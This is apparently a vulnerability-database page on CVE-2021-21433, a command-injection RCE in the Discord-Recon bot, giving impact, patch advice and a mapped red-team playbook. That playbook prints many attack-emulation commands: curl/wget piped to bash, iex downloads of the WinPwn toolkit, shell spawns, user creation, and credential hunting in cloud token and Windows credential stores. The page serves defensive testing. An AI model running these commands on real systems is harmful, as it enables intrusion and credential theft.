CVE-2021-21433
Overview
The vulnerability in DEMON1A Discord-Recon version 0.0.1 is a remote code execution flaw caused by improper input validation leading to command injection. The affected component is the Discord Recon Server bot, which processes user inputs for reconnaissance commands without sufficient sanitization. This allows crafted inputs to be executed as system commands on the server hosting the bot.
Vulnerability Description
Discord Recon Server is a bot that allows you to do your reconnaissance process from your Discord. Remote code execution in version 0.0.1 would allow remote users to execute commands on the server resulting in serious issues. This flaw is patched in 0.0.2.
Impact
An attacker with limited privileges on the Discord server can execute arbitrary commands on the host running the Discord-Recon bot, potentially leading to full system compromise, data manipulation, or service disruption. The exploit requires network access to the Discord bot and authenticated interaction (PR:L), with no user interaction needed (UI:N). The vulnerability's CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H) indicates high impact on confidentiality, integrity, and availability, enabling lateral movement and persistent control over the affected system.
Solution
Users should upgrade Discord-Recon to version 0.0.2 or later, where the remote code execution vulnerability is patched. The vendor advisory GHSA-65fm-5x64-gv9x provides detailed patch instructions and commit references. Applying the update replaces the vulnerable command execution logic with sanitized input handling and enhanced privilege validation. No additional workarounds are documented; timely application of the official patch is required to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Discord Recon Server, specifically in version 0.0.1, presents a serious risk due to its ability to allow remote code execution. This flaw arises from improper validation of user input, which can be exploited by an attacker to execute arbitrary commands on the server. The lack of stringent access controls and insufficient input sanitization creates an avenue for malicious actors to manipulate the bot's functionality, leading to unauthorized access and control over the server environment. The patched version, 0.0.2, addresses these critical weaknesses, emphasizing the importance of regular updates and vulnerability management in software development.
Attack vectors for this vulnerability are primarily centered around the bot's interaction with Discord's API and its command execution capabilities. An attacker could leverage social engineering tactics to trick users into executing malicious commands or directly exploit the bot by sending crafted messages that trigger the execution of harmful scripts. For instance, if an attacker gains access to a Discord server where the bot is deployed, they could issue commands that compromise the server's integrity, potentially leading to data breaches or service disruptions. The ease of exploitation, combined with the bot's integration into a widely used platform like Discord, amplifies the risk associated with this vulnerability.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Discord for communication and collaboration. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and a loss of trust among users. Businesses could face reputational damage, financial losses due to downtime, and potential legal ramifications if user data is compromised. Furthermore, the ease of deploying such bots in various environments makes it imperative for organizations to assess their security posture and implement robust safeguards against similar vulnerabilities.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating software to the latest versions is crucial, as it ensures that known vulnerabilities are patched. Implementing intrusion detection systems can help identify unusual patterns of behavior that may indicate exploitation attempts. Additionally, organizations should conduct security audits and penetration testing to uncover potential weaknesses in their systems. Educating users about the risks of executing unverified commands and promoting best practices for bot usage can further reduce the likelihood of successful attacks.
In conclusion, the vulnerability in the Discord Recon Server highlights the critical need for vigilance in software security. The potential for remote code execution poses a serious threat to both individual users and organizations, necessitating proactive measures to detect, mitigate, and respond to such risks. By fostering a culture of security awareness and implementing comprehensive security strategies, organizations can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Demon1a | Discord-Recon | All |
cpe:2.3:a:demon1a:discord-recon:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21433 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/DEMON1A/Discord-Recon/security/advisories/GHSA-65fm-5x64-gv9x |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/DEMON1A/Discord-Recon/issues/6 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/DEMON1A/Discord-Recon/commit/26e2a084679679cccdeeabbb6889ce120eff7e50 |